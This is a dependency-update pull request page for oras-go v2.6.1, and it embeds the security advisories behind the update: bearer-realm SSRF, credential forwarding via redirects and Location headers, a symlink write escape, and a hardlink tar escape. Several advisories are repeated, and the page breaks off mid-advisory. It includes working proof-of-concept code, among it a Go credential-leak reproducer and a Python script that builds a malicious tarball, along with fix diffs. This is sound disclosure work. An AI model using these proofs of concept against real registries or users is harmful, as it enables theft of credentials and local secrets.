Skip to content

chore(deps): update module oras.land/oras-go/v2 to v2.6.1 [security] (release-2.3)#179

Open
crossplane-renovate[bot] wants to merge 1 commit into
release-2.3from
renovate/release-2.3-go-oras.land-oras-go-v2-vulnerability
Open

chore(deps): update module oras.land/oras-go/v2 to v2.6.1 [security] (release-2.3)#179
crossplane-renovate[bot] wants to merge 1 commit into
release-2.3from
renovate/release-2.3-go-oras.land-oras-go-v2-vulnerability

Conversation

@crossplane-renovate

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
oras.land/oras-go/v2 v2.6.0v2.6.1 age confidence

oras-go: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens

CVE-2026-48978 / GHSA-xf85-363p-868w

More information

Details

Summary

oras-go's auth.Client follows the realm URL from a registry's WWW-Authenticate: Bearer challenge without validating its scheme or host. The realm field is server-controlled by design in the OCI/distribution spec — registries legitimately point token requests at a separate auth endpoint (e.g. Docker Hub's registry-1.docker.io -> auth.docker.io), so cross-host realms on public DNS names are not in themselves a vulnerability. Two specific patterns, however, are never legitimate under any registry trust model and can be abused by a malicious or compromised registry (or a man-in-the-middle on a plaintext connection):

  1. SSRF to internal networks. A realm of http://169.254.169.254/... (AWS/Azure IMDS), http://10.0.0.x/... (RFC 1918), or http://127.0.0.1/... causes oras-go running on a cloud VM or corporate workstation to issue outbound HTTP requests from inside the user's trust boundary to an endpoint the user did not choose. The user's stored credentials are attached to those requests, but the principal harm is the network primitive — probing internal endpoints from the client. On IMDSv1 the response body is recoverable from log channels; on IMDSv2 the probe itself can still be used for service discovery.

  2. TLS downgrade. A registry contacted over https:// can return a realm with an http:// scheme, causing oras-go to send the user's credentials over plaintext to the token endpoint. This defeats the transport security the user chose when typing https://.

What is NOT claimed

This advisory does not claim that credential forwarding to an arbitrary public attacker host through a server-controlled realm is, on its own, a vulnerability. The distribution spec defines realm as a server-controlled field; a strict same-host or same-eTLD+1 enforcement would deviate from the spec and break legitimate split-host deployments. Operators who want defense-in-depth against cross-host realm forwarding can use the opt-in Client.TrustedRealmHosts allowlist (added separately).

Affected versions

oras.land/oras-go/v2 <= v2.6.0

Severity

Medium. Network attack vector, low complexity, no privileges required, user interaction required (victim runs an oras command against the malicious or MITM'd registry), unchanged scope. Confidentiality impact is limited — IMDS probe responses can disclose information, and TLS downgrade exposes the realm request to passive observers — but the attacker does not obtain credentials beyond what the malicious endpoint already controls.

Affected code
  • registry/remote/auth/client.goClient.Do() (bearer challenge handling)
  • registry/remote/auth/client.goClient.fetchBearerToken() / fetchDistributionToken / fetchOAuth2Token

The realm parameter from parseChallenge is threaded through to http.NewRequestWithContext without scheme or host validation.

CWE
  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-319: Cleartext Transmission of Sensitive Information
Patch

registry/remote/auth/client.go now rejects realm URLs that:

  • use a scheme other than http or https
  • use http when the registry was contacted over https (TLS downgrade)
  • use an IP literal in a loopback, link-local, private, or unspecified range, unless the registry itself was reached at the same hostname (so loopback / in-cluster deployments are unaffected)

Cross-host realms on public DNS names continue to be accepted.

Credit

Reported by bugbunny.ai.

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


oras-go blob upload vulnerable to credential forwarding via unvalidated Location header

CVE-2026-50151 / GHSA-jxpm-75mh-9fp7

More information

Details

Summary

oras-go follows a registry-controlled Location header during the monolithic blob upload flow and reuses the Authorization header from the initial POST request for the subsequent PUT request. If a malicious registry returns a cross-host Location, oras-go can send the caller's credentials to an attacker-controlled endpoint.

Affected Versions

tested: v2.6.0 (commit 03243809936cce826494b5506f724c6dc11115b1, as-of 2026-01-24)
range: unknown; likely affects earlier v2.x releases that include the same upload flow

Impact

Credential leak to an attacker-controlled endpoint and client-side ssrf to a cross-host target.

Affected Component
  • registry/remote/repository.go:878-916 (blobStore.completePushAfterInitialPost)
Reproduction

Attachments include poc.zip with a local-only harness (no real registry required). It runs a fake registry server that returns a cross-host Location and a second server that records whether it received Authorization.

unzip -q -o poc.zip -d /tmp/poc
cd /tmp/poc/poc-F-ORAS-LOCATION-UPLOAD-001
make canonical
make control
Recommended Fix
  • validate Location before uploading (scheme + hostname + effective port) against the original request, or require an explicit opt-in allowlist for cross-host upload urls
  • never forward Authorization when the upload target changes host or scheme
references

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


oras-go has file store write outside workingDir via symlink traversal

CVE-2026-50162 / GHSA-8xwf-rjm4-xvhv

More information

Details

The file content store in oras-go attempts to confine writes to workingDir when AllowPathTraversalOnWrite=false, but the guard is lexical and does not account for symlink traversal. If workingDir contains a symlink path component and an attacker-controlled blob title (via ocispec.AnnotationTitle) targets a path under that symlink, pushFile() can create a file outside workingDir.

relevant links
vulnerability details

pins: oras-project/oras-go@0324380

as-of: 2026-02-17

policy: GitHub Security Advisory (oras-project/oras-go)

callsite: content/file/file.go:609 resolveWritePath()pushFile()

attacker control: Attacker controls the pushed name (ocispec.AnnotationTitle) and can select a path with a symlink path component under workingDirresolveWritePath() blocks .. via filepath.Rel but does not prevent symlink traversal → pushFile() opens/creates the final path and follows the symlink → a file is created outside workingDir

root cause

resolveWritePath() enforces the write boundary using a filepath.Rel-style check against workingDir. This prevents ../ escapes but is purely lexical and does not resolve symlinks. If a path component under workingDir is a symlink to an external location, the subsequent filesystem operation in pushFile() follows that symlink and performs the write outside workingDir while still passing the lexical boundary check.

attack path
  1. Attacker provides a blob title (via ocispec.AnnotationTitle) that contains a path like out/pwn.txt.
  2. Victim uses oras-go file store with AllowPathTraversalOnWrite=false and a workingDir that contains a symlink directory out -> /some/outside/dir.
  3. The lexical boundary check accepts out/pwn.txt as being under workingDir.
  4. The write follows the symlink and creates /some/outside/dir/pwn.txt.
impact

This is a filesystem boundary bypass that permits writes outside workingDir when a symlink path component exists under workingDir. The concrete security impact depends on the runtime environment (what filesystem locations are writable by the process and what downstream consumers do with the written file), but the intended confinement guarantee is violated.

proof of concept

the attached poc.zip contains a small, self-contained go harness that demonstrates:

  • canonical (vulnerable): prints [CALLSITE_HIT] and [PROOF_MARKER] and shows the file is created outside workingDir
  • control (no symlink component): prints [NC_MARKER] and confirms no outside write occurs

run:

unzip -q -o poc.zip -d /tmp
cd /tmp/poc-F-ORAS-SYMLINK-WRITE-001
make test

expected: when AllowPathTraversalOnWrite=false, file store writes should not be able to escape workingDir, including via symlink traversal.

actual: A symlink path component under workingDir allows writes to escape workingDir even when AllowPathTraversalOnWrite=false.

recommended fix

ensure confinement checks account for symlink traversal. Options include rejecting symlinks in any path component (walk components with os.Lstat), validating the resolved parent directory via EvalSymlinks and enforcing it remains under the resolved workingDir, or using an openat()-style approach so the check and open happen relative to a trusted directory file descriptor.

fix accepted when: The canonical PoC no longer prints [PROOF_MARKER] for the same attacker-controlled inputs.

cheers,
Oleh

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


ORAS Go forwards registry credentials across registry redirects

GHSA-vh4v-2xq2-g5cg

More information

Details

ORAS Go forwards registry credentials across registry redirects

Reporter / public credit: JUNYI LIU

Summary

ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.

There are two related paths:

  1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin Authorization header to the redirect target.
  2. A blob upload POST authenticates to the origin registry, then the origin returns an upload Location on another host or port. The follow-up PUT can carry the origin Authorization header to the Location target.

The upload Location issue appears related to the existing public fix in pull request #​1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.

Impact

A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.

This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.

Affected Versions Tested
  • oras-go v2.6.0: affected.
  • oras-go main at commit a57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.
  • oras-go v2 branch at commit d593d504779be8b69f0ba034ac9fd407d1fc8cfc: upload Location path is blocked, but manifest redirect credential forwarding is still affected.
  • ORAS CLI at commit 3d2646279c70ba60415440e44c2ff97896e4a209, using oras-go v2.6.0: affected when using --registry-config.
Security Invariant

Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.

Local Reproduction Overview

All testing used loopback servers and fake credentials only.

Manifest redirect flow:

  1. The client requests a manifest from the origin registry.
  2. The origin returns 401 with a Basic challenge.
  3. The client retries the origin request with the origin credential.
  4. The origin returns 307 to another port on the same hostname.
  5. The redirect sink receives the origin Authorization header.

ORAS CLI stored-credential flow:

  1. A temporary registry config contains a fake Basic credential for the origin registry only.
  2. Run:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
  1. The origin authenticates the request and redirects it to another port.
  2. The redirect sink receives the origin Authorization header.

Blob upload Location flow:

  1. The client starts a blob upload with POST to the origin registry.
  2. The origin challenges with Basic and then accepts the authenticated POST.
  3. The origin returns an upload Location URL on another port.
  4. In affected versions, the follow-up PUT to the Location target carries the origin Authorization header.
Expected Result

Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.

Observed Result

In affected versions, redirect or Location sinks received:

Authorization: Basic <base64 origin_user:origin_pass>
Standalone Reproducer
package main

import (
	"context"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"sync"

	"github.com/opencontainers/go-digest"
	"github.com/oras-project/oras-go/v3/registry/remote"
	"github.com/oras-project/oras-go/v3/registry/remote/auth"
	"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)

type hit struct {
	Method string `json:"method"`
	Path   string `json:"path"`
	Host   string `json:"host"`
	Auth   string `json:"auth,omitempty"`
}

func main() {
	const username = "origin_user"
	const password = "origin_pass"
	const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
	var mu sync.Mutex
	var originHits, sinkHits []hit

	record := func(dst *[]hit, r *http.Request) {
		mu.Lock()
		defer mu.Unlock()
		*dst = append(*dst, hit{
			Method: r.Method,
			Path:   r.URL.RequestURI(),
			Host:   r.Host,
			Auth:   r.Header.Get("Authorization"),
		})
	}

	manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
	manifestDigest := digest.FromBytes(manifest).String()

	sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&sinkHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
		w.Header().Set("Docker-Content-Digest", manifestDigest)
		w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
		_, _ = w.Write(manifest)
	}))
	defer sink.Close()

	origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&originHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
	}))
	defer origin.Close()

	repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
	if err != nil {
		panic(err)
	}
	repo.PlainHTTP = true
	repo.Client = &auth.Client{
		Client: origin.Client(),
		CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
			Username: username,
			Password: password,
		}),
	}

	_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")

	leaked := false
	for _, h := range sinkHits {
		if h.Auth == expectedAuth {
			leaked = true
		}
	}

	result := map[string]any{
		"origin_hits": originHits,
		"sink_hits":   sinkHits,
		"error":       "",
		"leaked":      leaked,
	}
	if err != nil {
		result["error"] = err.Error()
	}
	encoded, _ := json.MarshalIndent(result, "", "  ")
	fmt.Println(string(encoded))

	if leaked {
		fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
		return
	}
	fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
	os.Exit(1)
}
Candidate Fix

The candidate fix does two things:

  1. In the auth client, wrap redirect handling so Authorization is removed when a redirect changes HTTP origin, while preserving any caller-provided CheckRedirect callback.
  2. In blob upload completion, only reuse the previous POST Authorization header when the upload Location remains on the same HTTP origin.

The patch also adds regression coverage for both redirect cases:

  • redirect before origin authentication reaches a different origin;
  • redirect after origin authentication reaches a different origin.
diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@&#8203;@&#8203; -122,7 +122,23 @&#8203;@&#8203; func (c *Client) send(req *http.Request) (*http.Response, error) {
 	for key, values := range c.Header {
 		req.Header[key] = append(req.Header[key], values...)
 	}
-	return c.client().Do(req)
+	client := c.client()
+	clientCopy := *client
+	checkRedirect := client.CheckRedirect
+	clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+		if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+			redirectReq.Header.Del(headerAuthorization)
+		}
+		if checkRedirect != nil {
+			return checkRedirect(redirectReq, via)
+		}
+		return nil
+	}
+	return clientCopy.Do(req)
+}
+
+func sameHTTPOrigin(a, b *url.URL) bool {
+	return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
 }
 
 // credential resolves the credential for the given registry.
@&#8203;@&#8203; -168,6 +184,9 @&#8203;@&#8203; func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
 	var attemptedKey string
 	cache := c.cache()
 	host := originalReq.Host
+	if host == "" {
+		host = originalReq.URL.Host
+	}
 	scheme, err := cache.GetScheme(ctx, host)
 	if err == nil {
 		switch scheme {
@&#8203;@&#8203; -193,6 +212,13 @&#8203;@&#8203; func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
 	if resp.StatusCode != http.StatusUnauthorized {
 		return resp, nil
 	}
+	respHost := resp.Request.Host
+	if respHost == "" {
+		respHost = resp.Request.URL.Host
+	}
+	if respHost != host {
+		return resp, nil
+	}
 
 	// attempt again with credentials for recognized schemes
 	challenge := resp.Header.Get(headerWWWAuthenticate)
diff --git a/registry/remote/repository.go b/registry/remote/repository.go
index 74d6b89..0bd20ec 100644
--- a/registry/remote/repository.go
+++ b/registry/remote/repository.go
@&#8203;@&#8203; -982,6 +983,7 @&#8203;@&#8203; func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte
 // Push or by Mount when the receiving repository does not implement the
 // mount endpoint.
 func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {
+	originalURL := req.URL
 	reqHostname := req.URL.Hostname()
 	reqPort := req.URL.Port()
 	// monolithic upload
@&#8203;@&#8203; -1016,8 +1018,9 @&#8203;@&#8203; func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
 	q.Set("digest", expected.Digest.String())
 	req.URL.RawQuery = q.Encode()
 
-	// reuse credential from previous POST request
-	if auth := resp.Request.Header.Get("Authorization"); auth != "" {
+	// reuse credential from previous POST request only when the upload location
+	// remains on the same origin.
+	if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) {
 		req.Header.Set("Authorization", auth)
 	}
 	resp, err = s.repo.do(req)
@&#8203;@&#8203; -1032,6 +1035,10 @&#8203;@&#8203; func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
 	return nil
 }
 
+func sameHTTPOrigin(a, b *url.URL) bool {
+	return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
+}
+
 // Exists returns true if the described content exists.
 func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {
 	if err := s.repo.checkPolicy(ctx, ""); err != nil {
Validation Performed

The repaired candidate fix blocked:

  • manifest redirect credential forwarding;
  • upload Location credential forwarding.

Targeted tests passed:

go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1
go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1
Prior Art / Duplicate Notes

Public pull request #​1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope.

Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.

Claim Boundaries

Proven:

  • Origin registry Basic credentials can reach a different redirect or upload Location origin in local loopback tests.
  • ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.
  • The candidate fix blocks the tested redirect and upload Location credential exposures.

Not claimed:

  • Live third-party exploitation.
  • RCE, host compromise, or registry compromise.
  • Arbitrary-host exposure beyond the tested redirect/Location origin transitions.
  • Bearer realm behavior as part of the same claim.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


oras-go has file store write outside workingDir via symlink traversal

CVE-2026-50162 / GHSA-8xwf-rjm4-xvhv

More information

Details

The file content store in oras-go attempts to confine writes to workingDir when AllowPathTraversalOnWrite=false, but the guard is lexical and does not account for symlink traversal. If workingDir contains a symlink path component and an attacker-controlled blob title (via ocispec.AnnotationTitle) targets a path under that symlink, pushFile() can create a file outside workingDir.

relevant links
vulnerability details

pins: oras-project/oras-go@0324380

as-of: 2026-02-17

policy: GitHub Security Advisory (oras-project/oras-go)

callsite: content/file/file.go:609 resolveWritePath()pushFile()

attacker control: Attacker controls the pushed name (ocispec.AnnotationTitle) and can select a path with a symlink path component under workingDirresolveWritePath() blocks .. via filepath.Rel but does not prevent symlink traversal → pushFile() opens/creates the final path and follows the symlink → a file is created outside workingDir

root cause

resolveWritePath() enforces the write boundary using a filepath.Rel-style check against workingDir. This prevents ../ escapes but is purely lexical and does not resolve symlinks. If a path component under workingDir is a symlink to an external location, the subsequent filesystem operation in pushFile() follows that symlink and performs the write outside workingDir while still passing the lexical boundary check.

attack path
  1. Attacker provides a blob title (via ocispec.AnnotationTitle) that contains a path like out/pwn.txt.
  2. Victim uses oras-go file store with AllowPathTraversalOnWrite=false and a workingDir that contains a symlink directory out -> /some/outside/dir.
  3. The lexical boundary check accepts out/pwn.txt as being under workingDir.
  4. The write follows the symlink and creates /some/outside/dir/pwn.txt.
impact

This is a filesystem boundary bypass that permits writes outside workingDir when a symlink path component exists under workingDir. The concrete security impact depends on the runtime environment (what filesystem locations are writable by the process and what downstream consumers do with the written file), but the intended confinement guarantee is violated.

proof of concept

the attached poc.zip contains a small, self-contained go harness that demonstrates:

  • canonical (vulnerable): prints [CALLSITE_HIT] and [PROOF_MARKER] and shows the file is created outside workingDir
  • control (no symlink component): prints [NC_MARKER] and confirms no outside write occurs

run:

unzip -q -o poc.zip -d /tmp
cd /tmp/poc-F-ORAS-SYMLINK-WRITE-001
make test

expected: when AllowPathTraversalOnWrite=false, file store writes should not be able to escape workingDir, including via symlink traversal.

actual: A symlink path component under workingDir allows writes to escape workingDir even when AllowPathTraversalOnWrite=false.

recommended fix

ensure confinement checks account for symlink traversal. Options include rejecting symlinks in any path component (walk components with os.Lstat), validating the resolved parent directory via EvalSymlinks and enforcing it remains under the resolved workingDir, or using an openat()-style approach so the check and open happen relative to a trusted directory file descriptor.

fix accepted when: The canonical PoC no longer prints [PROOF_MARKER] for the same attacker-controlled inputs.

cheers,
Oleh

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


oras-go tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution

CVE-2026-50163 / GHSA-fxhp-mv3v-67qp

More information

Details

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

  • A regular file: payload.tar.gz/README.txt.
  • A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

  1. Validates payload.tar.gz/evil_cwd_link — passes.
  2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
    • path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
    • Returns target = "victim.secret" (NOT path).
  3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
  4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.


Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

##### 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

##### 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

##### 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)

##### ... patch layout/blobs/sha256/<manifest> to add
#####     io.deis.oras.content.unpack: "true" on layers[0].annotations ...

(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)

##### 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link   # → 6554160
stat -c '%i' cwd-space/victim.secret                # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link             # → "TOP SECRET FROM CWD"

Observed output:

evil_cwd_link (inside extract dir): inode=6554160
victim.secret  (in invoker CWD):    inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD

A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.


Impact

Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.

Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.

High-severity chains:

  • CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.
  • Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
  • Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive.
  • Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.

Not affected:

  • oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.
  • Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path).
Attack-surface boundary (fs.protected_hardlinks)

On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.

So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:

Invocation context Reachable file classes
oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files.
oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys.

The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.


Proposed fix

Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.

// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)
    }
    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", "", err
    }
    return target, path, nil
}
case tar.TypeLink:
    var absTarget string
    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(absTarget, filePath)
    }
case tar.TypeSymlink:
    var symTarget string
    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
    if err != nil { return err }
    if err = os.Symlink(symTarget, filePath); err != nil { ... }

Regression test to add:

Extend Test_extractTarDirectory_HardLink with a third sub-test that:

  1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt.
  2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative).
  3. Extracts.
  4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


oras-go blob upload vulnerable to credential forwarding via unvalidated Location header

CVE-2026-50151 / GHSA-jxpm-75mh-9fp7

More information

Details

Summary

oras-go follows a registry-controlled Location header during the monolithic blob upload flow and reuses the Authorization header from the initial POST request for the subsequent PUT request. If a malicious registry returns a cross-host Location, oras-go can send the caller's credentials to an attacker-controlled endpoint.

Affected Versions

tested: v2.6.0 (commit 03243809936cce826494b5506f724c6dc11115b1, as-of 2026-01-24)
range: unknown; likely affects earlier v2.x releases that include the same upload flow

Impact

Credential leak to an attacker-controlled endpoint and client-side ssrf to a cross-host target.

Affected Component
  • registry/remote/repository.go:878-916 (blobStore.completePushAfterInitialPost)
Reproduction

